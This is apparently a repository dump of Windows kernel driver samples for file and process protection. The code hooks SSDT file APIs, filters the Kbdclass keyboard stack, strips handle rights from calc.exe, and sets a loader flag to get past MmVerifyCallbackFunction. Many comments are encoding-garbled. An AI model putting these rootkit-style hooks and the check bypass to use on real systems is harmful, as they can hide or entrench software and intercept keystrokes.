__in_bcount_opt(EaLength) PVOID EaBuffer,\r\n __in ULONG EaLength\r\n );\r\n\r\n\r\n NTSTATUS\r\n Fake_NtCreateFileWinXP (\r\n __out PHANDLE FileHandle,\r\n __in ACCESS_MASK DesiredAccess,\r\n __in POBJECT_ATTRIBUTES ObjectAttributes,\r\n __out PIO_STATUS_BLOCK IoStatusBlock,\r\n __in_opt PLARGE_INTEGER AllocationSize,\r\n __in ULONG FileAttributes,\r\n __in ULONG ShareAccess,\r\n __in ULONG CreateDisposition,\r\n __in ULONG CreateOptions,\r\n __in_bcount_opt(EaLength) PVOID EaBuffer,\r\n __in ULONG EaLength\r\n );\r\n\r\nVOID HookSSDT(ULONG_PTR ulIndex);\r\n\r\nVOID HookDelete(ULONG_PTR ulIndex);\r\nVOID HookWrite(ULONG_PTR ulIndex);\r\n\r\n\r\nVOID\r\n UnHookSSDTDelete(ULONG_PTR ulIndex);\r\nVOID\r\n UnHookSSDTWrite(ULONG_PTR ulIndex);\r\nVOID\r\n UnHookSSDT(ULONG_PTR ulIndex);\r\nVOID WPON();\r\nVOID WPOFF();\r\nLONG GetSSDTApiFunctionIndexFromNtdll(char* szFindFunctionName);\r\nNTSTATUS \r\n MapFileInUserSpace(WCHAR* wzFilePath,IN HANDLE hProcess OPTIONAL,\r\n OUT PVOID *BaseAddress,\r\n OUT PSIZE_T ViewSize OPTIONAL);\r\n\r\n\r\n\r\nNTSYSAPI\r\n PIMAGE_NT_HEADERS\r\n NTAPI\r\n RtlImageNtHeader(PVOID Base);\r\n\r\nPVOID GetFunctionAddressByNameFromSSDT(CHAR* szFunctionName,ULONG_PTR SSDTDescriptor);\r\nULONG_PTR GetFunctionAddressByIndexFromSSDT32(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor);\r\nPVOID \r\n GetFunctionAddressByNameFromNtosExport(WCHAR *wzFunctionName);\r\n\r\n\r\n\r\n\r\n\r\n// Kbdclass\r\n#define KBD_DRIVER_NAME L\"\\\\Driver\\\\Kbdclass\"\r\n\r\ntypedef struct _C2P_DEV_EXT \r\n{ \r\n // ṹĴС\r\n ULONG NodeSize; \r\n // 豸\r\n PDEVICE_OBJECT pFilterDeviceObject;\r\n // ͬʱʱı\r\n KSPIN_LOCK IoRequestsSpinLock;\r\n // ̼ͬ \r\n KEVENT IoInProgressEvent; \r\n // 󶨵豸\r\n PDEVICE_OBJECT TargetDeviceObject; \r\n // ǰײ豸\r\n PDEVICE_OBJECT LowerDeviceObject; \r\n} C2P_DEV_EXT, *PC2P_DEV_EXT;\r\n\r\nextern POBJECT_TYPE IoDriverObjectType;\r\n\r\n\r\n// Kbdclass\r\n#define KBD_DRIVER_NAME L\"\\\\Driver\\\\Kbdclass\"\r\n\r\n#define DELAY_ONE_MICROSECOND (-10)\r\n#define DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000)\r\n#define DELAY_ONE_SECOND (DELAY_ONE_MILLISECOND*1000)\r\n\r\n\r\n// ʵڵģֻĵûйһ\r\n// Ϳֱʹˡ\r\nNTSTATUS\r\n ObReferenceObjectByName(\r\n PUNICODE_STRING ObjectName,\r\n ULONG Attributes,\r\n PACCESS_STATE AccessState,\r\n ACCESS_MASK DesiredAccess,\r\n POBJECT_TYPE ObjectType,\r\n KPROCESSOR_MODE AccessMode,\r\n PVOID ParseContext,\r\n PVOID *Object\r\n );\r\n\r\n\r\nNTSTATUS \r\n c2pDevExtInit( \r\n IN PC2P_DEV_EXT devExt, \r\n IN PDEVICE_OBJECT pFilterDeviceObject, \r\n IN PDEVICE_OBJECT pTargetDeviceObject, \r\n IN PDEVICE_OBJECT pLowerDeviceObject ) ;\r\n\r\nNTSTATUS \r\n c2pAttachDevices( \r\n IN PDRIVER_OBJECT DriverObject, \r\n IN PUNICODE_STRING RegistryPath \r\n ) ;\r\n\r\n\r\nNTSTATUS c2pDispatchRead( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp ) ;\r\n\r\nNTSTATUS c2pReadComplete( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp, \r\n IN PVOID Context \r\n ) ;\r\n\r\nNTSTATUS c2pPnP( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp \r\n ) ;\r\n\r\nNTSTATUS c2pPower( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp \r\n ) ;\r\n\r\nNTSTATUS c2pDispatchGeneral( \r\n IN PDEVICE_OBJECT DeviceObject, \r\n IN PIRP Irp \r\n ) ;\r\n\r\n\r\ntypedef struct _KEYBOARD_INPUT_DATA\r\n{\r\n USHORT UnitId;\r\n USHORT MakeCode;\r\n USHORT Flags;\r\n USHORT Reserved;\r\n ULONG ExtraInformation;\r\n}KEYBOARD_INPUT_DATA,*PKEYBOARD_INPUT_DATA;\r\n//Flagsȡֵ\r\n#define KEY_MAKE 0\r\n#define KEY_BREAK 1\r\n#define KEY_E0 2\r\n#define KEY_E1 4\r\n#define KEY_TERMSRV_SET_LED 8\r\n#define KEY_TERMSRV_SHADOW 0x10\r\n#define KEY_TERMSRV_VKPACKET 0x20\r\n\r\n#define S_SHIFT 1\r\n#define S_CAPS 2\r\n#define S_NUM 4\r\n\r\nextern \r\n UCHAR *\r\n PsGetProcessImageFileName(\r\n __in PEPROCESS Process\r\n );\r\n\r\n\r\nVOID \r\n c2pUnload(IN PDRIVER_OBJECT DriverObject) ;\r\n\r\n\r\n#endif \r\n\r\n" }, { "path": "ProtectFilex86/FileProtectX86.sln", "content": "Microsoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"FileProtectX86\", \"FileProtectX86.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tWinDDK|Win32 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "ProtectFilex86/FileProtectX86.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"FileProtectX86\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "ProtectFilex86/ReadMe.txt", "content": "1.Hook NtSetInformationFile to change target file\n2.Hook NtWriteFile to write the target file\n3.Hook NtDeleteFile to delete the target file\n4.bind keyboard Filter Driver to avoid \"ctrl+c\" copy the content\nThere has a problem : the keyboard filter Driver is global , and other process cann't use \"ctrl+c\" also.\n" }, { "path": "ProtectFilex86/common.h", "content": "/**************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2015-8-10\r\n* MODULE : common.h\r\n*\r\n* Command: \r\n* IOCTRL Common Header\r\n*\r\n* Description:\r\n* Common data for the IoCtrl driver and application\r\n*\r\n****************************************************************************************\r\n* Copyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once \r\n\r\n//#######################################################################################\r\n// D E F I N E S\r\n//#######################################################################################\r\n\r\n#if DBG\r\n#define dprintf DbgPrint\r\n#else\r\n#define dprintf\r\n#endif\r\n\r\n//ַ֧û\r\n#define DEVICE_NAME L\"\\\\Device\\\\devFileProtectX86\" // Driver Name\r\n#define SYMBOLIC_LINK_NAME L\"\\\\DosDevices\\\\FileProtectX86\" // Symbolic Link Name\r\n#define WIN32_LINK_NAME \"\\\\\\\\.\\\\FileProtectX86\" // Win32 Link Name\r\n\r\n//ַ֧û\r\n#define SYMBOLIC_LINK_GLOBAL_NAME L\"\\\\DosDevices\\\\Global\\\\FileProtectX86\" // Symbolic Link Name\r\n\r\n#define DATA_TO_APP \"Hello World from Driver\"\r\n\r\n//\r\n// Device IO Control Codes\r\n//\r\n#define IOCTL_BASE 0x800\r\n#define MY_CTL_CODE(i) \\\r\n CTL_CODE \\\r\n ( \\\r\n FILE_DEVICE_UNKNOWN, \\\r\n IOCTL_BASE + i, \\\r\n METHOD_BUFFERED, \\\r\n FILE_ANY_ACCESS \\\r\n )\r\n\r\n#define IOCTL_HELLO_WORLD MY_CTL_CODE(0)\r\n#define IOCTRL_REC_FROM_APP MY_CTL_CODE(1)\r\n#define IOCTRL_SEND_TO_APP MY_CTL_CODE(2)\r\n\r\n\r\n//\r\n// TODO: Add your IOCTL define here\r\n//\r\n\r\n\r\n\r\n//\r\n// TODO: Add your struct,enum(public) define here\r\n//\r\n\r\n\r\n\r\n/* EOF */\r\n\r\n" }, { "path": "ProtectFilex86/sources", "content": "TARGETNAME=FileProtectX86\r\n#TARGETPATH=$(BASEDIR)\\lib\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES=FileProtectX86.c\r\n\r\n" }, { "path": "ProtectFilex86/struct.h", "content": "/***************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2015-8-10\r\n* MODULE : struct.h\r\n* \r\n* Command: \r\n* ͷļ\r\n*\r\n* Description:\r\n* һЩ,ظͶ; ڴҪĺ/ṹ\r\n*\r\n****************************************************************************************\r\n\r\nCopyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once\r\n\r\n#include \r\n\r\ntypedef long LONG;\r\ntypedef unsigned char BOOL, *PBOOL;\r\ntypedef unsigned char BYTE, *PBYTE;\r\ntypedef unsigned long DWORD, *PDWORD;\r\ntypedef unsigned short WORD, *PWORD;\r\n\r\ntypedef void *HMODULE;\r\ntypedef long NTSTATUS, *PNTSTATUS;\r\ntypedef unsigned long DWORD;\r\ntypedef DWORD * PDWORD;\r\ntypedef unsigned long ULONG;\r\ntypedef unsigned long ULONG_PTR;\r\ntypedef ULONG *PULONG;\r\ntypedef unsigned short WORD;\r\ntypedef unsigned char BYTE; \r\ntypedef unsigned char UCHAR;\r\ntypedef unsigned short USHORT;\r\ntypedef void *PVOID;\r\ntypedef BYTE BOOLEAN;\r\n#define SEC_IMAGE 0x01000000\r\n\r\n//----------------------------------------------------\r\n\r\n// PEB\r\n \r\n#pragma pack(4)\r\ntypedef struct _PEB_LDR_DATA\r\n{\r\n ULONG Length;\r\n BOOLEAN Initialized;\r\n PVOID SsHandle;\r\n LIST_ENTRY InLoadOrderModuleList;\r\n LIST_ENTRY InMemoryOrderModuleList;\r\n LIST_ENTRY InInitializationOrderModuleList;\r\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\r\n#pragma pack() \r\n\r\ntypedef struct _PEB_ORIG {\r\n BYTE Reserved1[2];\r\n BYTE BeingDebugged;\r\n BYTE Reserved2[229];\r\n PVOID Reserved3[59];\r\n ULONG SessionId;\r\n} PEB_ORIG, *PPEB_ORIG;\r\n\r\ntypedef void (*PPEBLOCKROUTINE)(PVOID PebLock);\r\n\r\nstruct _PEB_FREE_BLOCK {\r\n struct _PEB_FREE_BLOCK *Next;\r\n ULONG Size;\r\n};\r\ntypedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;\r\ntypedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR {\r\n USHORT Flags;\r\n USHORT Length;\r\n ULONG TimeStamp;\r\n UNICODE_STRING DosPath;\r\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS {\r\n ULONG MaximumLength;\r\n ULONG Length;\r\n ULONG Flags;\r\n ULONG DebugFlags;\r\n PVOID ConsoleHandle;\r\n ULONG ConsoleFlags;\r\n HANDLE StdInputHandle;\r\n HANDLE StdOutputHandle;\r\n HANDLE StdErrorHandle;\r\n UNICODE_STRING CurrentDirectoryPath;\r\n HANDLE CurrentDirectoryHandle;\r\n UNICODE_STRING DllPath;\r\n UNICODE_STRING ImagePathName;\r\n UNICODE_STRING CommandLine;\r\n PVOID Environment;\r\n ULONG StartingPositionLeft;\r\n ULONG StartingPositionTop;\r\n ULONG Width;\r\n ULONG Height;\r\n ULONG CharWidth;\r\n ULONG CharHeight;\r\n ULONG ConsoleTextAttributes;\r\n ULONG WindowFlags;\r\n ULONG ShowWindowFlags;\r\n UNICODE_STRING WindowTitle;\r\n UNICODE_STRING DesktopName;\r\n UNICODE_STRING ShellInfo;\r\n UNICODE_STRING RuntimeData;\r\n RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];\r\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\r\n\r\ntypedef struct _PEB {\r\n BOOLEAN InheritedAddressSpace;\r\n BOOLEAN ReadImageFileExecOptions;\r\n BOOLEAN BeingDebugged;\r\n BOOLEAN Spare;\r\n HANDLE Mutant;\r\n PVOID ImageBaseAddress;\r\n PPEB_LDR_DATA LoaderData;\r\n PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n PVOID SubSystemData;\r\n PVOID ProcessHeap;\r\n PVOID FastPebLock;\r\n PPEBLOCKROUTINE FastPebLockRoutine;\r\n PPEBLOCKROUTINE FastPebUnlockRoutine;\r\n ULONG EnvironmentUpdateCount;\r\n PVOID *KernelCallbackTable;\r\n PVOID EventLogSection;\r\n PVOID EventLog;\r\n PPEB_FREE_BLOCK FreeList;\r\n ULONG TlsExpansionCounter;\r\n PVOID TlsBitmap;\r\n ULONG TlsBitmapBits[0x2];\r\n PVOID ReadOnlySharedMemoryBase;\r\n PVOID ReadOnlySharedMemoryHeap;\r\n PVOID *ReadOnlyStaticServerData;\r\n PVOID AnsiCodePageData;\r\n PVOID OemCodePageData;\r\n PVOID UnicodeCaseTableData;\r\n ULONG NumberOfProcessors;\r\n ULONG NtGlobalFlag;\r\n BYTE Spare2[0x4];\r\n LARGE_INTEGER CriticalSectionTimeout;\r\n ULONG HeapSegmentReserve;\r\n ULONG HeapSegmentCommit;\r\n ULONG HeapDeCommitTotalFreeThreshold;\r\n ULONG HeapDeCommitFreeBlockThreshold;\r\n ULONG NumberOfHeaps;\r\n ULONG MaximumNumberOfHeaps;\r\n PVOID **ProcessHeaps;\r\n PVOID GdiSharedHandleTable;\r\n PVOID ProcessStarterHelper;\r\n PVOID GdiDCAttributeList;\r\n PVOID LoaderLock;\r\n ULONG OSMajorVersion;\r\n ULONG OSMinorVersion;\r\n ULONG OSBuildNumber;\r\n ULONG OSPlatformId;\r\n ULONG ImageSubSystem;\r\n ULONG ImageSubSystemMajorVersion;\r\n ULONG ImageSubSystemMinorVersion;\r\n ULONG GdiHandleBuffer[0x22];\r\n ULONG PostProcessInitRoutine;\r\n ULONG TlsExpansionBitmap;\r\n BYTE TlsExpansionBitmapBits[0x80];\r\n ULONG SessionId;\r\n} PEB, *PPEB;\r\n\r\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\r\n ULONG NextEntryOffset;\r\n ULONG NumberOfThreads;\r\n LARGE_INTEGER SpareLi1;\r\n LARGE_INTEGER SpareLi2;\r\n LARGE_INTEGER SpareLi3;\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ImageName;\r\n KPRIORITY BasePriority;\r\n HANDLE UniqueProcessId;\r\n HANDLE InheritedFromUniqueProcessId;\r\n ULONG HandleCount;\r\n ULONG SpareUl2;\r\n ULONG SpareUl3;\r\n ULONG PeakVirtualSize;\r\n ULONG VirtualSize;\r\n ULONG PageFaultCount;\r\n ULONG PeakWorkingSetSize;\r\n ULONG WorkingSetSize;\r\n ULONG QuotaPeakPagedPoolUsage;\r\n ULONG QuotaPagedPoolUsage;\r\n ULONG QuotaPeakNonPagedPoolUsage;\r\n ULONG QuotaNonPagedPoolUsage;\r\n ULONG PagefileUsage;\r\n ULONG PeakPagefileUsage;\r\n ULONG PrivatePageCount;\r\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_THREAD_INFORMATION {\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientId;\r\n KPRIORITY Priority;\r\n LONG BasePriority;\r\n ULONG ContextSwitches;\r\n ULONG ThreadState;\r\n ULONG WaitReason;\r\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\r\n\r\nstruct _SYSTEM_THREADS\r\n{\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientIs;\r\n KPRIORITY Priority;\r\n KPRIORITY BasePriority;\r\n ULONG ContextSwitchCount;\r\n ULONG ThreadState;\r\n KWAIT_REASON WaitReason;\r\n};\r\n\r\nstruct _SYSTEM_PROCESSES\r\n{\r\n ULONG NextEntryDelta;\r\n ULONG ThreadCount;\r\n ULONG Reserved[6];\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ProcessName;\r\n KPRIORITY BasePriority;\r\n ULONG ProcessId;\r\n ULONG InheritedFromProcessId;\r\n ULONG HandleCount;\r\n ULONG Reserved2[2];\r\n VM_COUNTERS VmCounters;\r\n IO_COUNTERS IoCounters; //windows 2000 only\r\n struct _SYSTEM_THREADS Threads[1];\r\n};\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY_INFO\r\n{\r\n ULONG AuditMask;\r\n} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY\r\n{\r\n union\r\n {\r\n PVOID Object;\r\n ULONG_PTR ObAttributes;\r\n PHANDLE_TABLE_ENTRY_INFO InfoTable;\r\n ULONG_PTR Value;\r\n };\r\n union\r\n {\r\n ULONG GrantedAccess;\r\n struct\r\n {\r\n USHORT GrantedAccessIndex;\r\n USHORT CreatorBackTraceIndex;\r\n };\r\n LONG NextFreeTableEntry;\r\n };\r\n} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;\r\n\r\ntypedef struct _HANDLE_TABLE\r\n{\r\n ULONG TableCode;\r\n PEPROCESS QuotaProcess;\r\n PVOID UniqueProcessId;\r\n ULONG HandleTableLock[4];\r\n LIST_ENTRY HandleTableList;\r\n ULONG HandleContentionEvent;\r\n PVOID DebugInfo;\r\n LONG ExtraInfoPages;\r\n ULONG FirstFree;\r\n ULONG LastFree;\r\n ULONG NextHandleNeedingPool;\r\n LONG HandleCount;\r\n union\r\n {\r\n ULONG Flags;\r\n UCHAR StrictFIFO:1;\r\n };\r\n} HANDLE_TABLE, *PHANDLE_TABLE;\r\n\r\ntypedef struct _OBJECT_TYPE_INITIALIZER {\r\n USHORT Length;\r\n BOOLEAN UseDefaultObject;\r\n BOOLEAN CaseInsensitive;\r\n ULONG InvalidAttributes;\r\n GENERIC_MAPPING GenericMapping;\r\n ULONG ValidAccessMask;\r\n BOOLEAN SecurityRequired;\r\n BOOLEAN MaintainHandleCount;\r\n BOOLEAN MaintainTypeList;\r\n POOL_TYPE PoolType;\r\n ULONG DefaultPagedPoolCharge;\r\n ULONG DefaultNonPagedPoolCharge;\r\n PVOID DumpProcedure;\r\n PVOID OpenProcedure;\r\n PVOID CloseProcedure;\r\n PVOID DeleteProcedure;\r\n PVOID ParseProcedure;\r\n PVOID SecurityProcedure;\r\n PVOID QueryNameProcedure;\r\n PVOID OkayToCloseProcedure;\r\n} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;\r\n\r\n\r\ntypedef struct _OBJECT_TYPE {\r\n ERESOURCE Mutex;\r\n LIST_ENTRY TypeList;\r\n UNICODE_STRING Name; // Copy from object header for convenience\r\n PVOID DefaultObject;\r\n ULONG Index;\r\n ULONG TotalNumberOfObjects;\r\n ULONG TotalNumberOfHandles;\r\n ULONG HighWaterNumberOfObjects;\r\n ULONG HighWaterNumberOfHandles;\r\n OBJECT_TYPE_INITIALIZER TypeInfo;\r\n ULONG Key;\r\n ERESOURCE ObjectLocks[4];\r\n} OBJECT_TYPE, *POBJECT_TYPE;\r\n\r\ntypedef struct _OBJECT_DIRECTORY {\r\n struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];\r\n ULONG Lock;\r\n PVOID DeviceMap;\r\n ULONG SessionId;\r\n USHORT Reserved;\r\n USHORT SymbolicLinkUsageCount;\r\n} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;\r\n\r\n/*\r\ntypedef enum _KAPC_ENVIRONMENT {\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment,\r\n InsertApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n*/\r\n\r\ntypedef enum\r\n{\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n\r\n//----------------------------------------------------\r\n\r\nNTSYSAPI\r\nNTSTATUS\r\nNTAPI ZwQuerySystemInformation(\r\n IN ULONG SystemInformationClass,\r\n IN PVOID SystemInformation,\r\n IN ULONG SystemInformationLength,\r\n OUT PULONG ReturnLength);\r\n\r\n\r\n\r\nNTSTATUS\r\n NtOpenFile(\r\n OUT PHANDLE FileHandle,\r\n IN ACCESS_MASK DesiredAccess,\r\n IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n IN ULONG ShareAccess,\r\n IN ULONG OpenOptions\r\n );\r\n\r\nNTSTATUS \r\nZwOpenProcess(\r\n OUT PHANDLE ProcessHandle, \r\n IN ACCESS_MASK DesiredAccess, \r\n IN POBJECT_ATTRIBUTES ObjectAttributes, \r\n IN PCLIENT_ID ClientId\r\n );\r\n\r\nNTSTATUS\r\nPsLookupProcessByProcessId(\r\n IN HANDLE ProcessId,\r\n OUT PEPROCESS *Process\r\n );\r\n\r\nHANDLE\r\n PsGetProcessId(\r\n IN PEPROCESS Process\r\n );\r\n\r\nNTSTATUS\r\nRtlFormatCurrentUserKeyPath(\r\n OUT PUNICODE_STRING CurrentUserKeyPath\r\n );\r\n\r\nVOID KeAttachProcess( PEPROCESS proc );\r\nVOID KeDetachProcess();\r\n" }, { "path": "ProtectProcessx64/ProtectProcessx64.c", "content": "\r\n\r\n#ifndef CXX_PROTECTPROCESSX64_H\r\n# include \"ProtectProcessx64.h\"\r\n#endif\r\n\r\n\r\nPVOID obHandle;//һvoid*͵ıΪObRegisterCallbacksĵ2\r\n\r\nNTSTATUS\r\nDriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString)\r\n{\r\n NTSTATUS status = STATUS_SUCCESS;\r\n PLDR_DATA_TABLE_ENTRY64 ldr;\r\n\r\n pDriverObj->DriverUnload = DriverUnload;\r\n // ƹMmVerifyCallbackFunction\r\n ldr = (PLDR_DATA_TABLE_ENTRY64)pDriverObj->DriverSection;\r\n ldr->Flags |= 0x20;\r\n\r\n ProtectProcess(TRUE);\r\n\r\n return STATUS_SUCCESS;\r\n}\r\n\r\n\r\n\r\nNTSTATUS ProtectProcess(BOOLEAN Enable)\r\n{\r\n OB_CALLBACK_REGISTRATION obReg;\r\n OB_OPERATION_REGISTRATION opReg;\r\n\r\n memset(&obReg, 0, sizeof(obReg));\r\n obReg.Version = ObGetFilterVersion();\r\n obReg.OperationRegistrationCount = 1;\r\n obReg.RegistrationContext = NULL;\r\n RtlInitUnicodeString(&obReg.Altitude, L\"321000\");\r\n memset(&opReg, 0, sizeof(opReg)); //ʼṹ\r\n\r\n // עṹijԱֶε\r\n opReg.ObjectType = PsProcessType;\r\n opReg.Operations = OB_OPERATION_HANDLE_CREATE|OB_OPERATION_HANDLE_DUPLICATE; \r\n opReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)&preCall; //עһصָ\r\n obReg.OperationRegistration = &opReg; //עһ\r\n\r\n return ObRegisterCallbacks(&obReg, &obHandle); //עص\r\n}\r\n\r\n\r\nOB_PREOP_CALLBACK_STATUS \r\n preCall(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION pOperationInformation)\r\n{\r\n HANDLE pid = PsGetProcessId((PEPROCESS)pOperationInformation->Object);\r\n char szProcName[16]={0};\r\n UNREFERENCED_PARAMETER(RegistrationContext);\r\n strcpy(szProcName,GetProcessImageNameByProcessID((ULONG)pid));\r\n if( !_stricmp(szProcName,\"calc.exe\") )\r\n {\r\n if (pOperationInformation->Operation == OB_OPERATION_HANDLE_CREATE)\r\n {\r\n if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_TERMINATE) == PROCESS_TERMINATE)\r\n {\r\n //Terminate the process, such as by calling the user-mode TerminateProcess routine..\r\n pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;\r\n }\r\n if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_OPERATION) == PROCESS_VM_OPERATION)\r\n {\r\n //Modify the address space of the process, such as by calling the user-mode WriteProcessMemory and VirtualProtectEx routines.\r\n pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION;\r\n }\r\n if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_READ) == PROCESS_VM_READ)\r\n {\r\n //Read to the address space of the process, such as by calling the user-mode ReadProcessMemory routine.\r\n pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ;\r\n }\r\n if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess & PROCESS_VM_WRITE) == PROCESS_VM_WRITE)\r\n {\r\n //Write to the address space of the process, such as by calling the user-mode WriteProcessMemory routine.\r\n pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_WRITE;\r\n }\r\n }\r\n }\r\n return OB_PREOP_SUCCESS;\r\n}\r\n\r\n\r\n/*\r\nOpenProcess һֱص ֱ\r\nchar*\r\n GetProcessImageNameByProcessID(ULONG ulProcessID)\r\n{\r\n CLIENT_ID Cid; \r\n HANDLE hProcess;\r\n NTSTATUS Status;\r\n OBJECT_ATTRIBUTES oa;\r\n PEPROCESS EProcess = NULL;\r\n\r\n Cid.UniqueProcess = (HANDLE)ulProcessID;\r\n Cid.UniqueThread = 0;\r\n\r\n InitializeObjectAttributes(&oa,0,0,0,0);\r\n Status = ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oa,&Cid); //hProcess\r\n //ǿ򿪽̻þ\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return FALSE;\r\n }\r\n Status = ObReferenceObjectByHandle(hProcess,FILE_READ_DATA,0,\r\n KernelMode,&EProcess, 0);\r\n //ͨȡEProcess\r\n if (!NT_SUCCESS(Status))\r\n {\r\n ZwClose(hProcess);\r\n return FALSE;\r\n }\r\n ObDereferenceObject(EProcess);\r\n //ж\r\n ZwClose(hProcess);\r\n //ͨEProcessý\r\n return (char*)PsGetProcessImageFileName(EProcess); \r\n \r\n}\r\n*/\r\n\r\nchar*\r\n GetProcessImageNameByProcessID(ULONG ulProcessID)\r\n{\r\n NTSTATUS Status;\r\n PEPROCESS EProcess = NULL;\r\n\r\n Status = PsLookupProcessByProcessId((HANDLE)ulProcessID,&EProcess); //hProcess\r\n\r\n //ͨȡEProcess\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return FALSE;\r\n }\r\n ObDereferenceObject(EProcess);\r\n //ͨEProcessý\r\n return (char*)PsGetProcessImageFileName(EProcess);\r\n}\r\n\r\n\r\n\r\nVOID\r\nDriverUnload(IN PDRIVER_OBJECT pDriverObj)\r\n{ \r\n UNREFERENCED_PARAMETER(pDriverObj);\r\n DbgPrint(\"driver unloading...\\n\");\r\n\r\n ObUnRegisterCallbacks(obHandle); //obHandle涨 PVOID obHandle;\r\n}\r\n\r\n\r\n\r\n" }, { "path": "ProtectProcessx64/ProtectProcessx64.h", "content": "/***************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2016-5-7\r\n* MODULE : ProtectProcessx64.H\r\n*\r\n* IOCTRL Sample Driver\r\n*\r\n* Description:\r\n* Demonstrates 